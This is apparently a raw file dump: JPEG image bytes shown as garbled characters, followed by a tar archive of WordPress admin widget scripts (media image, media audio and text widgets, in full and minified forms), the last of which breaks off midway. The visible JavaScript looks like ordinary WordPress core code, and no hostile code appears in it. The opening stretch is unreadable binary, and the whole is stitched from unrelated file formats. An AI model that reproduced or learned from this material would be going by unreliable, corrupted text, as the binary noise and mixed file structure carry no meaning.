﻿ÿØÿà JFIF      ÿÛ „ 	 ( %!1"%)+...383-7(-.+



-%%--------+------------/----------------------------ÿÀ  ¶" ÿÄ               ÿÄ @       !1AQaq‘¡"±ÁÑð2’BRráS‚ñ3b¢CT²Ò #cÿÄ             ÿÄ '        1!AQ2a"‘±#ÿÚ   ? ò(/p‘—–¢·,M|¯G»R£üešT. ôŸEoCFñ‡ 4ÔkåóxR|µÁ¨ÓDà!Ç´µ˜‡p ÍQ‹§!þž^õWsŒy  åÁ§$á«%ºq˜™JyyË0y«^Ï
-3ÃÏËÈ£Æ\P’ä„s&•‹Üs üô'àWt¹pñCp$bÚF`·7.^)¾!)ÒÙ˜–ÅÏš^h¾ø³·ìe±ŒaeÖ—Í,e=B}Jéß¦$$½—šÙÜCC¯¶è8Î²–Åkèwx
LÉngT±æ¹£Ócœ¿Í/©Éÿ ‰ÚCÒ­mq;Tt¶–}0"zÖPcd1š­¤tˆ„ÐÓâqú[™öUCŠ2Þ¿Ø¯­É(¸ßúçšmW,Ò ºf‹Ån™ÄLêÃ8üÁkÁ€L¥ÍuJ1œôrÂSŒÓöt!7EUíïb)AËi¬â-ÙHk8òÁiXYwÅ)O^"ÇØriÛô{»wRUKÙÏÚlÓ¬€‚’×©T]
ªb—ÊîKC^×M“xùäñz¬zJ×{4[¹M'IÆeH1LCWÕ]œûº WDæà°OÅ‚¹c²ÞuA–rL`HšpCez‡V’— Ž‚Ë„–ñ­'µR0ÕÖ=À:±G»C\nÆÉ5*¢ †3šhQ4ýÒi$Õ1"Ü]¢p-q3zcQ$ªö¨¥æf›‘»´ÝÚHá„e²JÇ–iÊ:·à¬Øc5Åk»Laª*wi
[0Ówk ¦a¦0Õ²ÅÅ‚T¸’³q:Æ<¹ú	Ò˜Æ}2VE•Ð€p¡Ô3Úº …h³^Ç‡ºçì¥Ánó|˜ÖˆÎˆ+«¦dø‘Mº–d\ªDðÛ„Ì×LÝ——Ð9Ç|•FèçVm™¨€™3õS–9Äå¢<Ì‰Ìm¢±`·º˜&Z²ž Ë®D«¶»6™‰©­HÈÀá«h­i³04æ’hxœi3ï¨(ÓL·†‹¶ËpŒ
ƒÜÒ?	:õdsÀ–3æÓ·Üjâ¬9—]8n¼&]I F£¼…ì–—Œ0v°LÇÅfÛ2TÖ’aµ˜N@ÖBSÏ^à´4-±°b×nÈÈœÆD=KdŒø…ÄÈK,›ÖR§fjü$^ÔÎ!„6^ s:Üun\ôkCÞò÷<—Lúl
Í›G¹ÀPá¼Nc¡šÒ…ÙWÍ³œ±vÊáÐ„×9‹P‰cEØ‘™›µŸP<×g1
º©Ø¬wiÁ^l5×I/';Ë+´Z‡ÓÄFÕp[Èð’
HÄ	ó
9¬Dl4“é±Ï”V=^Hð;žLädÉa‚°Ë,#/Ž~²BÔÛ
QãñQtIeórVB,ÏÂf‹4#Îœc‹É3ZIÖ Œ¢¥·üxa‡Ãçè„jŠ[5 Ä!U?,3žÎ×…ðdÓ÷háŠA‰ìÄ4÷ÃÜZÃE{‰®+W\ZÍE[‰»µk»MÝ­`¢©†˜ÃV‹-f¢¡†¢a«eŠ%«Y¨©q%jâd,Ôq`) ¤¦…šˆ ¦E>0Ùb²t–Ÿ
÷jsÏ‚Ò’KÈcø(é›;k(’#ôŒQ
™C>
õ³M9óºÆµ¤çâ;uÀ)5>RÔ¸fÓ~È¦—’-$fe«"FâUˆÊwµPÏu
w+"åÉoÌ¨6s™Û9(À¨ù©hE°½†n`m~“@©›p!Vkhµ Á1šbEqqÊ@ºèl›2 –Yã%‘‚hÛ{a¶‡ÅÞM²¬çL34®Çl]®‹ŽØŒm'RÜe35æöˆ­Á­ cP9šeÁköo´L³Ì=p8]”‡B¶,šº|ÉdzXˆØk*ÇÚ{#ñ‰pã(€¶‡9ý'šÜ³½¯kƒ†Â’ëSOƒ•Å®H6+a¢µˆ‹Y¨b˜b+XˆÖ!°u!¢"µˆˆn2ˆ Å0Ä`Å Ô®c(ÓÜGº•Ä»Œ âWî%q.áÐÄ÷î%umÍ£+ÜQ,Vn¦-GphU¸¢X­&,Gt
·K¢ÅÅ·¥RÄÊÉbKn
N­R2g$VµÕó
Qr#–ÓZUÏð0ÎtÙÀœz
ëöo“Îk¯n„T°"SÞ+³/…€½"ižãO%Í%&Î”â‘ËØ´IˆÓ°Ë‰ÞM<J•›C=ìu*Ü§„Ã¤GËŠô;5ŒÁ£ñùä¬6Ì2¦‘žh¸Rº<Õš%÷ …Ç	‚g‡.
>3.™yçÁzit›`4C`k¢¼á!álÄï sÂ[×!¤l¾æo"ƒIÔ'@ªu)3›ô®“@Z
à¾]
üœ'‡4¸PÞkÁ-qÄH‰ÓÍBd´ÿ —¹°ÄA&ÊUC„öz‚‚RæŠtf¬>˜ÑidšEçÑL÷áý¡V±h§­c¿¥¨ƒ@g¼…Ýö^ÞËc.Å¾„æ“I[ª+·zÐÒÚ,½Ð»¶€C›7jk$à¹–€Ž¾ÅÙpp¶ÍþéÎ¤ ½ØÎŒq ñpæžÅ¥#Øâ49ÃÂK^MYV“,¶Éz_òæ:…;Õ«¦I3âJ£¤û5$7Èxün\â]Êe¯(Ÿ&Ž‹¶2<6Ä†f× æ¢Æ±qWÄ±[(ÙÂŽç‚T7¨@ÈÉÍß‚ïÙ"&3TYlGŽ†)†#5ŠA©^T2ÆÁ†)©†©†¤yGXÁ†©"†)©¼ÅV WS†#©]R–r‹q5ÕbâWþBh¯u+ªÅÄ×ü„nÑ^êkªÁj‰jeœWˆÕÕ`µDµ2Ì+Ä µDµµ5Ô{¤Þ0RF’H÷AÛ<ÊÁ§ Æˆæ0Ñ£ê4 öÚµ[¬/1²€â<-¬šö²r×0o×w ´xÐÒË„
g01¬„åEMè›‡Ã\6µE›‘fÙO	k÷CºnÓ1`iîÒ²áÂ!ÑLÄÿ 
³¬\õ*:M=Ç»c‹2[‰ØsÕLò\ŒK L^™üÄN\¶#»
Ç\……ßïIœÉ$¸ÎñÍ®ÔHÃ‡	Ûí/´>Li”„†g^$ 7NÍÑÑ2M2ªNg=k½Ð}Ÿl6‡	—JWˆ”ÞéT·+µ¦üÂFè¢Vs6ýÆ4»2+2IÝ9ô9®ÇGÙÇ1+Ä8;*Õ§ž½D*îÑWÚçá3Ma¤·ˆ¥t}š²Ü…Q+Æüµ8HíS”üxGéÁˆ¦Ël„éÈ	5 µÄƒ6äÜ(kIš¯S†fÖ&¸®×v|Äyˆ*ç¦ŒÉù@7-®Ä[]ÎÖ¿ê`º…=:…žJVnÝ³vðÖKE¼‚ »mà ÷f®:Ë™–4rð¡4` Ü¹çž~‹C=œ…¾Ïj|VDtK.ƒ"9	Ï
­–éXá³6WÒïIL-Ð‡
Ç
media-image-widget.js                                                                               0000644                 00000012534 15265660322 0010536 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /**
 * @output wp-admin/js/widgets/media-image-widget.js
 */

/* eslint consistent-this: [ "error", "control" ] */
(function( component, $ ) {
	'use strict';

	var ImageWidgetModel, ImageWidgetControl;

	/**
	 * Image widget model.
	 *
	 * See WP_Widget_Media_Image::enqueue_admin_scripts() for amending prototype from PHP exports.
	 *
	 * @class    wp.mediaWidgets.modelConstructors.media_image
	 * @augments wp.mediaWidgets.MediaWidgetModel
	 */
	ImageWidgetModel = component.MediaWidgetModel.extend({});

	/**
	 * Image widget control.
	 *
	 * See WP_Widget_Media_Image::enqueue_admin_scripts() for amending prototype from PHP exports.
	 *
	 * @class    wp.mediaWidgets.controlConstructors.media_audio
	 * @augments wp.mediaWidgets.MediaWidgetControl
	 */
	ImageWidgetControl = component.MediaWidgetControl.extend(/** @lends wp.mediaWidgets.controlConstructors.media_image.prototype */{

		/**
		 * View events.
		 *
		 * @type {object}
		 */
		events: _.extend( {}, component.MediaWidgetControl.prototype.events, {
			'click .media-widget-preview.populated': 'editMedia'
		} ),

		/**
		 * Render preview.
		 *
		 * @return {void}
		 */
		renderPreview: function renderPreview() {
			var control = this, previewContainer, previewTemplate, fieldsContainer, fieldsTemplate, linkInput;
			if ( ! control.model.get( 'attachment_id' ) && ! control.model.get( 'url' ) ) {
				return;
			}

			previewContainer = control.$el.find( '.media-widget-preview' );
			previewTemplate = wp.template( 'wp-media-widget-image-preview' );
			previewContainer.html( previewTemplate( control.previewTemplateProps.toJSON() ) );
			previewContainer.addClass( 'populated' );

			linkInput = control.$el.find( '.link' );
			if ( ! linkInput.is( document.activeElement ) ) {
				fieldsContainer = control.$el.find( '.media-widget-fields' );
				fieldsTemplate = wp.template( 'wp-media-widget-image-fields' );
				fieldsContainer.html( fieldsTemplate( control.previewTemplateProps.toJSON() ) );
			}
		},

		/**
		 * Open the media image-edit frame to modify the selected item.
		 *
		 * @return {void}
		 */
		editMedia: function editMedia() {
			var control = this, mediaFrame, updateCallback, defaultSync, metadata;

			metadata = control.mapModelToMediaFrameProps( control.model.toJSON() );

			// Needed or else none will not be selected if linkUrl is not also empty.
			if ( 'none' === metadata.link ) {
				metadata.linkUrl = '';
			}

			// Set up the media frame.
			mediaFrame = wp.media({
				frame: 'image',
				state: 'image-details',
				metadata: metadata
			});
			mediaFrame.$el.addClass( 'media-widget' );

			updateCallback = function() {
				var mediaProps, linkType;

				// Update cached attachment object to avoid having to re-fetch. This also triggers re-rendering of preview.
				mediaProps = mediaFrame.state().attributes.image.toJSON();
				linkType = mediaProps.link;
				mediaProps.link = mediaProps.linkUrl;
				control.selectedAttachment.set( mediaProps );
				control.displaySettings.set( 'link', linkType );

				control.model.set( _.extend(
					control.mapMediaToModelProps( mediaProps ),
					{ error: false }
				) );
			};

			mediaFrame.state( 'image-details' ).on( 'update', updateCallback );
			mediaFrame.state( 'replace-image' ).on( 'replace', updateCallback );

			// Disable syncing of attachment changes back to server. See <https://core.trac.wordpress.org/ticket/40403>.
			defaultSync = wp.media.model.Attachment.prototype.sync;
			wp.media.model.Attachment.prototype.sync = function rejectedSync() {
				return $.Deferred().rejectWith( this ).promise();
			};
			mediaFrame.on( 'close', function onClose() {
				mediaFrame.detach();
				wp.media.model.Attachment.prototype.sync = defaultSync;
			});

			mediaFrame.open();
		},

		/**
		 * Get props which are merged on top of the model when an embed is chosen (as opposed to an attachment).
		 *
		 * @return {Object} Reset/override props.
		 */
		getEmbedResetProps: function getEmbedResetProps() {
			return _.extend(
				component.MediaWidgetControl.prototype.getEmbedResetProps.call( this ),
				{
					size: 'full',
					width: 0,
					height: 0
				}
			);
		},

		/**
		 * Get the instance props from the media selection frame.
		 *
		 * Prevent the image_title attribute from being initially set when adding an image from the media library.
		 *
		 * @param {wp.media.view.MediaFrame.Select} mediaFrame - Select frame.
		 * @return {Object} Props.
		 */
		getModelPropsFromMediaFrame: function getModelPropsFromMediaFrame( mediaFrame ) {
			var control = this;
			return _.omit(
				component.MediaWidgetControl.prototype.getModelPropsFromMediaFrame.call( control, mediaFrame ),
				'image_title'
			);
		},

		/**
		 * Map model props to preview template props.
		 *
		 * @return {Object} Preview template props.
		 */
		mapModelToPreviewTemplateProps: function mapModelToPreviewTemplateProps() {
			var control = this, previewTemplateProps, url;
			url = control.model.get( 'url' );
			previewTemplateProps = component.MediaWidgetControl.prototype.mapModelToPreviewTemplateProps.call( control );
			previewTemplateProps.currentFilename = url ? url.replace( /\?.*$/, '' ).replace( /^.+\//, '' ) : '';
			previewTemplateProps.link_url = control.model.get( 'link_url' );
			return previewTemplateProps;
		}
	});

	// Exports.
	component.controlConstructors.media_image = ImageWidgetControl;
	component.modelConstructors.media_image = ImageWidgetModel;

})( wp.mediaWidgets, jQuery );
                                                                                                                                                                    index.php                                                                                           0000644                 00000000000 15265660322 0006361 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       media-audio-widget.min.js                                                                           0000644                 00000002647 15265660322 0011343 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /*! This file is auto-generated */
!function(t){"use strict";var a=wp.media.view.MediaFrame.AudioDetails.extend({createStates:function(){this.states.add([new wp.media.controller.AudioDetails({media:this.media}),new wp.media.controller.MediaLibrary({type:"audio",id:"add-audio-source",title:wp.media.view.l10n.audioAddSourceTitle,toolbar:"add-audio-source",media:this.media,menu:!1})])}}),e=t.MediaWidgetModel.extend({}),d=t.MediaWidgetControl.extend({showDisplaySettings:!1,mapModelToMediaFrameProps:function(e){e=t.MediaWidgetControl.prototype.mapModelToMediaFrameProps.call(this,e);return e.link="embed",e},renderPreview:function(){var e,t=this,d=t.model.get("attachment_id"),a=t.model.get("url");(d||a)&&(d=t.$el.find(".media-widget-preview"),e=wp.template("wp-media-widget-audio-preview"),d.html(e({model:{attachment_id:t.model.get("attachment_id"),src:a},error:t.model.get("error")})),wp.mediaelement.initialize())},editMedia:function(){var t=this,e=t.mapModelToMediaFrameProps(t.model.toJSON()),d=new a({frame:"audio",state:"audio-details",metadata:e});(wp.media.frame=d).$el.addClass("media-widget"),e=function(e){t.selectedAttachment.set(e),t.model.set(_.extend(t.model.defaults(),t.mapMediaToModelProps(e),{error:!1}))},d.state("audio-details").on("update",e),d.state("replace-audio").on("replace",e),d.on("close",function(){d.detach()}),d.open()}});t.controlConstructors.media_audio=d,t.modelConstructors.media_audio=e}(wp.mediaWidgets);                                                                                         text-widgets.min.js                                                                                 0000644                 00000013335 15265660322 0010330 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /*! This file is auto-generated */
wp.textWidgets=function(r){"use strict";var u={dismissedPointers:[],idBases:["text"]};return u.TextWidgetControl=Backbone.View.extend({events:{},initialize:function(e){var n=this;if(!e.el)throw new Error("Missing options.el");if(!e.syncContainer)throw new Error("Missing options.syncContainer");Backbone.View.prototype.initialize.call(n,e),n.syncContainer=e.syncContainer,n.$el.addClass("text-widget-fields"),n.$el.html(wp.template("widget-text-control-fields")),n.customHtmlWidgetPointer=n.$el.find(".wp-pointer.custom-html-widget-pointer"),n.customHtmlWidgetPointer.length&&(n.customHtmlWidgetPointer.find(".close").on("click",function(e){e.preventDefault(),n.customHtmlWidgetPointer.hide(),r("#"+n.fields.text.attr("id")+"-html").trigger("focus"),n.dismissPointers(["text_widget_custom_html"])}),n.customHtmlWidgetPointer.find(".add-widget").on("click",function(e){e.preventDefault(),n.customHtmlWidgetPointer.hide(),n.openAvailableWidgetsPanel()})),n.pasteHtmlPointer=n.$el.find(".wp-pointer.paste-html-pointer"),n.pasteHtmlPointer.length&&n.pasteHtmlPointer.find(".close").on("click",function(e){e.preventDefault(),n.pasteHtmlPointer.hide(),n.editor.focus(),n.dismissPointers(["text_widget_custom_html","text_widget_paste_html"])}),n.fields={title:n.$el.find(".title"),text:n.$el.find(".text")},_.each(n.fields,function(t,i){t.on("input change",function(){var e=n.syncContainer.find(".sync-input."+i);e.val()!==t.val()&&(e.val(t.val()),e.trigger("change"))}),t.val(n.syncContainer.find(".sync-input."+i).val())})},dismissPointers:function(e){_.each(e,function(e){wp.ajax.post("dismiss-wp-pointer",{pointer:e}),u.dismissedPointers.push(e)})},openAvailableWidgetsPanel:function(){var t;wp.customize.section.each(function(e){e.extended(wp.customize.Widgets.SidebarSection)&&e.expanded()&&(t=wp.customize.control("sidebars_widgets["+e.params.sidebarId+"]"))}),t&&setTimeout(function(){wp.customize.Widgets.availableWidgetsPanel.open(t),wp.customize.Widgets.availableWidgetsPanel.$search.val("HTML").trigger("keyup")})},updateFields:function(){var e,t=this;t.fields.title.is(document.activeElement)||(e=t.syncContainer.find(".sync-input.title"),t.fields.title.val(e.val())),e=t.syncContainer.find(".sync-input.text"),t.fields.text.is(":visible")?t.fields.text.is(document.activeElement)||t.fields.text.val(e.val()):t.editor&&!t.editorFocused&&e.val()!==t.fields.text.val()&&t.editor.setContent(wp.oldEditor.autop(e.val()))},initializeEditor:function(){var d,e,o,t,s=this,a=1e3,l=!1,c=!1;e=s.fields.text,d=e.attr("id"),t=e.val(),o=function(){s.editor.isDirty()&&(wp.customize&&wp.customize.state&&(wp.customize.state("processing").set(wp.customize.state("processing").get()+1),_.delay(function(){wp.customize.state("processing").set(wp.customize.state("processing").get()-1)},300)),s.editor.isHidden()||s.editor.save()),c&&t!==e.val()&&(e.trigger("change"),c=!1,t=e.val())},s.syncContainer.closest(".widget").find("[name=savewidget]:first").on("click",function(){o()}),function e(){var t,i,n;if(document.getElementById(d))if(void 0===window.tinymce)wp.oldEditor.initialize(d,{quicktags:!0,mediaButtons:!0});else{if(tinymce.get(d)&&(l=tinymce.get(d).isHidden(),wp.oldEditor.remove(d)),r(document).one("wp-before-tinymce-init.text-widget-init",function(e,t){t.plugins&&!/\bwpview\b/.test(t.plugins)&&(t.plugins+=",wpview")}),wp.oldEditor.initialize(d,{tinymce:{wpautop:!0},quicktags:!0,mediaButtons:!0}),n=function(e){e.show(),e.find(".close").trigger("focus"),wp.a11y.speak(e.find("h3, p").map(function(){return r(this).text()}).get().join("\n\n"))},!(t=window.tinymce.get(d)))throw new Error("Failed to initialize editor");i=function(){r(t.getWin()).on("pagehide",function(){_.defer(e)}),l&&switchEditors.go(d,"html"),r("#"+d+"-html").on("click",function(){s.pasteHtmlPointer.hide(),-1===u.dismissedPointers.indexOf("text_widget_custom_html")&&n(s.customHtmlWidgetPointer)}),r("#"+d+"-tmce").on("click",function(){s.customHtmlWidgetPointer.hide()}),t.on("pastepreprocess",function(e){e=e.content,-1===u.dismissedPointers.indexOf("text_widget_paste_html")&&e&&/&lt;\w+.*?&gt;/.test(e)&&_.delay(function(){n(s.pasteHtmlPointer)},250)})},t.initialized?i():t.on("init",i),s.editorFocused=!1,t.on("focus",function(){s.editorFocused=!0}),t.on("paste",function(){t.setDirty(!0),o()}),t.on("NodeChange",function(){c=!0}),t.on("NodeChange",_.debounce(o,a)),t.on("blur hide",function(){s.editorFocused=!1,o()}),s.editor=t}}()}}),u.widgetControls={},u.handleWidgetAdded=function(e,t){var i,n,d,o=t.find("> .widget-inside > .form, > .widget-inside > form"),s=o.find("> .id_base").val();-1===u.idBases.indexOf(s)||(s=o.find(".widget-id").val(),u.widgetControls[s])||o.find(".visual").val()&&(o=r("<div></div>"),(d=t.find(".widget-content:first")).before(o),i=new u.TextWidgetControl({el:o,syncContainer:d}),u.widgetControls[s]=i,(n=function(){t.hasClass("open")?i.initializeEditor():setTimeout(n,50)})())},u.setupAccessibleMode=function(){var e,t=r(".editwidget > form");0!==t.length&&(e=t.find(".id_base").val(),-1!==u.idBases.indexOf(e))&&t.find(".visual").val()&&(e=r("<div></div>"),(t=t.find("> .widget-inside")).before(e),new u.TextWidgetControl({el:e,syncContainer:t}).initializeEditor())},u.handleWidgetUpdated=function(e,t){var t=t.find("> .widget-inside > .form, > .widget-inside > form"),i=t.find("> .id_base").val();-1!==u.idBases.indexOf(i)&&(i=t.find("> .widget-id").val(),t=u.widgetControls[i])&&t.updateFields()},u.init=function(){var e=r(document);e.on("widget-added",u.handleWidgetAdded),e.on("widget-synced widget-updated",u.handleWidgetUpdated),r(function(){"widgets"===window.pagenow&&(r(".widgets-holder-wrap:not(#available-widgets)").find("div.widget").one("click.toggle-widget-expanded",function(){var e=r(this);u.handleWidgetAdded(new jQuery.Event("widget-added"),e)}),u.setupAccessibleMode())})},u}(jQuery);                                                                                                                                                                                                                                                                                                   media-image-widget.min.js                                                                           0000644                 00000003750 15265660322 0011320 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /*! This file is auto-generated */
!function(a,o){"use strict";var e=a.MediaWidgetModel.extend({}),t=a.MediaWidgetControl.extend({events:_.extend({},a.MediaWidgetControl.prototype.events,{"click .media-widget-preview.populated":"editMedia"}),renderPreview:function(){var e,t,i=this;(i.model.get("attachment_id")||i.model.get("url"))&&(t=i.$el.find(".media-widget-preview"),e=wp.template("wp-media-widget-image-preview"),t.html(e(i.previewTemplateProps.toJSON())),t.addClass("populated"),i.$el.find(".link").is(document.activeElement)||(e=i.$el.find(".media-widget-fields"),t=wp.template("wp-media-widget-image-fields"),e.html(t(i.previewTemplateProps.toJSON()))))},editMedia:function(){var i,e,a=this,t=a.mapModelToMediaFrameProps(a.model.toJSON());"none"===t.link&&(t.linkUrl=""),(i=wp.media({frame:"image",state:"image-details",metadata:t})).$el.addClass("media-widget"),t=function(){var e=i.state().attributes.image.toJSON(),t=e.link;e.link=e.linkUrl,a.selectedAttachment.set(e),a.displaySettings.set("link",t),a.model.set(_.extend(a.mapMediaToModelProps(e),{error:!1}))},i.state("image-details").on("update",t),i.state("replace-image").on("replace",t),e=wp.media.model.Attachment.prototype.sync,wp.media.model.Attachment.prototype.sync=function(){return o.Deferred().rejectWith(this).promise()},i.on("close",function(){i.detach(),wp.media.model.Attachment.prototype.sync=e}),i.open()},getEmbedResetProps:function(){return _.extend(a.MediaWidgetControl.prototype.getEmbedResetProps.call(this),{size:"full",width:0,height:0})},getModelPropsFromMediaFrame:function(e){return _.omit(a.MediaWidgetControl.prototype.getModelPropsFromMediaFrame.call(this,e),"image_title")},mapModelToPreviewTemplateProps:function(){var e=this,t=e.model.get("url"),i=a.MediaWidgetControl.prototype.mapModelToPreviewTemplateProps.call(e);return i.currentFilename=t?t.replace(/\?.*$/,"").replace(/^.+\//,""):"",i.link_url=e.model.get("link_url"),i}});a.controlConstructors.media_image=t,a.modelConstructors.media_image=e}(wp.mediaWidgets,jQuery);                        text-widgets.js                                                                                     0000644                 00000043201 15265660322 0007541 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /**
 * @output wp-admin/js/widgets/text-widgets.js
 */

/* global tinymce, switchEditors */
/* eslint consistent-this: [ "error", "control" ] */

/**
 * @namespace wp.textWidgets
 */
wp.textWidgets = ( function( $ ) {
	'use strict';

	var component = {
		dismissedPointers: [],
		idBases: [ 'text' ]
	};

	component.TextWidgetControl = Backbone.View.extend(/** @lends wp.textWidgets.TextWidgetControl.prototype */{

		/**
		 * View events.
		 *
		 * @type {Object}
		 */
		events: {},

		/**
		 * Text widget control.
		 *
		 * @constructs wp.textWidgets.TextWidgetControl
		 * @augments   Backbone.View
		 * @abstract
		 *
		 * @param {Object} options - Options.
		 * @param {jQuery} options.el - Control field container element.
		 * @param {jQuery} options.syncContainer - Container element where fields are synced for the server.
		 *
		 * @return {void}
		 */
		initialize: function initialize( options ) {
			var control = this;

			if ( ! options.el ) {
				throw new Error( 'Missing options.el' );
			}
			if ( ! options.syncContainer ) {
				throw new Error( 'Missing options.syncContainer' );
			}

			Backbone.View.prototype.initialize.call( control, options );
			control.syncContainer = options.syncContainer;

			control.$el.addClass( 'text-widget-fields' );
			control.$el.html( wp.template( 'widget-text-control-fields' ) );

			control.customHtmlWidgetPointer = control.$el.find( '.wp-pointer.custom-html-widget-pointer' );
			if ( control.customHtmlWidgetPointer.length ) {
				control.customHtmlWidgetPointer.find( '.close' ).on( 'click', function( event ) {
					event.preventDefault();
					control.customHtmlWidgetPointer.hide();
					$( '#' + control.fields.text.attr( 'id' ) + '-html' ).trigger( 'focus' );
					control.dismissPointers( [ 'text_widget_custom_html' ] );
				});
				control.customHtmlWidgetPointer.find( '.add-widget' ).on( 'click', function( event ) {
					event.preventDefault();
					control.customHtmlWidgetPointer.hide();
					control.openAvailableWidgetsPanel();
				});
			}

			control.pasteHtmlPointer = control.$el.find( '.wp-pointer.paste-html-pointer' );
			if ( control.pasteHtmlPointer.length ) {
				control.pasteHtmlPointer.find( '.close' ).on( 'click', function( event ) {
					event.preventDefault();
					control.pasteHtmlPointer.hide();
					control.editor.focus();
					control.dismissPointers( [ 'text_widget_custom_html', 'text_widget_paste_html' ] );
				});
			}

			control.fields = {
				title: control.$el.find( '.title' ),
				text: control.$el.find( '.text' )
			};

			// Sync input fields to hidden sync fields which actually get sent to the server.
			_.each( control.fields, function( fieldInput, fieldName ) {
				fieldInput.on( 'input change', function updateSyncField() {
					var syncInput = control.syncContainer.find( '.sync-input.' + fieldName );
					if ( syncInput.val() !== fieldInput.val() ) {
						syncInput.val( fieldInput.val() );
						syncInput.trigger( 'change' );
					}
				});

				// Note that syncInput cannot be re-used because it will be destroyed with each widget-updated event.
				fieldInput.val( control.syncContainer.find( '.sync-input.' + fieldName ).val() );
			});
		},

		/**
		 * Dismiss pointers for Custom HTML widget.
		 *
		 * @since 4.8.1
		 *
		 * @param {Array} pointers Pointer IDs to dismiss.
		 * @return {void}
		 */
		dismissPointers: function dismissPointers( pointers ) {
			_.each( pointers, function( pointer ) {
				wp.ajax.post( 'dismiss-wp-pointer', {
					pointer: pointer
				});
				component.dismissedPointers.push( pointer );
			});
		},

		/**
		 * Open available widgets panel.
		 *
		 * @since 4.8.1
		 * @return {void}
		 */
		openAvailableWidgetsPanel: function openAvailableWidgetsPanel() {
			var sidebarControl;
			wp.customize.section.each( function( section ) {
				if ( section.extended( wp.customize.Widgets.SidebarSection ) && section.expanded() ) {
					sidebarControl = wp.customize.control( 'sidebars_widgets[' + section.params.sidebarId + ']' );
				}
			});
			if ( ! sidebarControl ) {
				return;
			}
			setTimeout( function() { // Timeout to prevent click event from causing panel to immediately collapse.
				wp.customize.Widgets.availableWidgetsPanel.open( sidebarControl );
				wp.customize.Widgets.availableWidgetsPanel.$search.val( 'HTML' ).trigger( 'keyup' );
			});
		},

		/**
		 * Update input fields from the sync fields.
		 *
		 * This function is called at the widget-updated and widget-synced events.
		 * A field will only be updated if it is not currently focused, to avoid
		 * overwriting content that the user is entering.
		 *
		 * @return {void}
		 */
		updateFields: function updateFields() {
			var control = this, syncInput;

			if ( ! control.fields.title.is( document.activeElement ) ) {
				syncInput = control.syncContainer.find( '.sync-input.title' );
				control.fields.title.val( syncInput.val() );
			}

			syncInput = control.syncContainer.find( '.sync-input.text' );
			if ( control.fields.text.is( ':visible' ) ) {
				if ( ! control.fields.text.is( document.activeElement ) ) {
					control.fields.text.val( syncInput.val() );
				}
			} else if ( control.editor && ! control.editorFocused && syncInput.val() !== control.fields.text.val() ) {
				control.editor.setContent( wp.oldEditor.autop( syncInput.val() ) );
			}
		},

		/**
		 * Initialize editor.
		 *
		 * @return {void}
		 */
		initializeEditor: function initializeEditor() {
			var control = this, changeDebounceDelay = 1000, id, textarea, triggerChangeIfDirty, restoreTextMode = false, needsTextareaChangeTrigger = false, previousValue;
			textarea = control.fields.text;
			id = textarea.attr( 'id' );
			previousValue = textarea.val();

			/**
			 * Trigger change if dirty.
			 *
			 * @return {void}
			 */
			triggerChangeIfDirty = function() {
				var updateWidgetBuffer = 300; // See wp.customize.Widgets.WidgetControl._setupUpdateUI() which uses 250ms for updateWidgetDebounced.
				if ( control.editor.isDirty() ) {

					/*
					 * Account for race condition in customizer where user clicks Save & Publish while
					 * focus was just previously given to the editor. Since updates to the editor
					 * are debounced at 1 second and since widget input changes are only synced to
					 * settings after 250ms, the customizer needs to be put into the processing
					 * state during the time between the change event is triggered and updateWidget
					 * logic starts. Note that the debounced update-widget request should be able
					 * to be removed with the removal of the update-widget request entirely once
					 * widgets are able to mutate their own instance props directly in JS without
					 * having to make server round-trips to call the respective WP_Widget::update()
					 * callbacks. See <https://core.trac.wordpress.org/ticket/33507>.
					 */
					if ( wp.customize && wp.customize.state ) {
						wp.customize.state( 'processing' ).set( wp.customize.state( 'processing' ).get() + 1 );
						_.delay( function() {
							wp.customize.state( 'processing' ).set( wp.customize.state( 'processing' ).get() - 1 );
						}, updateWidgetBuffer );
					}

					if ( ! control.editor.isHidden() ) {
						control.editor.save();
					}
				}

				// Trigger change on textarea when it has changed so the widget can enter a dirty state.
				if ( needsTextareaChangeTrigger && previousValue !== textarea.val() ) {
					textarea.trigger( 'change' );
					needsTextareaChangeTrigger = false;
					previousValue = textarea.val();
				}
			};

			// Just-in-time force-update the hidden input fields.
			control.syncContainer.closest( '.widget' ).find( '[name=savewidget]:first' ).on( 'click', function onClickSaveButton() {
				triggerChangeIfDirty();
			});

			/**
			 * Build (or re-build) the visual editor.
			 *
			 * @return {void}
			 */
			function buildEditor() {
				var editor, onInit, showPointerElement;

				// Abort building if the textarea is gone, likely due to the widget having been deleted entirely.
				if ( ! document.getElementById( id ) ) {
					return;
				}

				// The user has disabled TinyMCE.
				if ( typeof window.tinymce === 'undefined' ) {
					wp.oldEditor.initialize( id, {
						quicktags: true,
						mediaButtons: true
					});

					return;
				}

				// Destroy any existing editor so that it can be re-initialized after a widget-updated event.
				if ( tinymce.get( id ) ) {
					restoreTextMode = tinymce.get( id ).isHidden();
					wp.oldEditor.remove( id );
				}

				// Add or enable the `wpview` plugin.
				$( document ).one( 'wp-before-tinymce-init.text-widget-init', function( event, init ) {
					// If somebody has removed all plugins, they must have a good reason.
					// Keep it that way.
					if ( ! init.plugins ) {
						return;
					} else if ( ! /\bwpview\b/.test( init.plugins ) ) {
						init.plugins += ',wpview';
					}
				} );

				wp.oldEditor.initialize( id, {
					tinymce: {
						wpautop: true
					},
					quicktags: true,
					mediaButtons: true
				});

				/**
				 * Show a pointer, focus on dismiss, and speak the contents for a11y.
				 *
				 * @param {jQuery} pointerElement Pointer element.
				 * @return {void}
				 */
				showPointerElement = function( pointerElement ) {
					pointerElement.show();
					pointerElement.find( '.close' ).trigger( 'focus' );
					wp.a11y.speak( pointerElement.find( 'h3, p' ).map( function() {
						return $( this ).text();
					} ).get().join( '\n\n' ) );
				};

				editor = window.tinymce.get( id );
				if ( ! editor ) {
					throw new Error( 'Failed to initialize editor' );
				}
				onInit = function() {

					// When a widget is moved in the DOM the dynamically-created TinyMCE iframe will be destroyed and has to be re-built.
					$( editor.getWin() ).on( 'pagehide', function() {
						_.defer( buildEditor );
					});

					// If a prior mce instance was replaced, and it was in text mode, toggle to text mode.
					if ( restoreTextMode ) {
						switchEditors.go( id, 'html' );
					}

					// Show the pointer.
					$( '#' + id + '-html' ).on( 'click', function() {
						control.pasteHtmlPointer.hide(); // Hide the HTML pasting pointer.

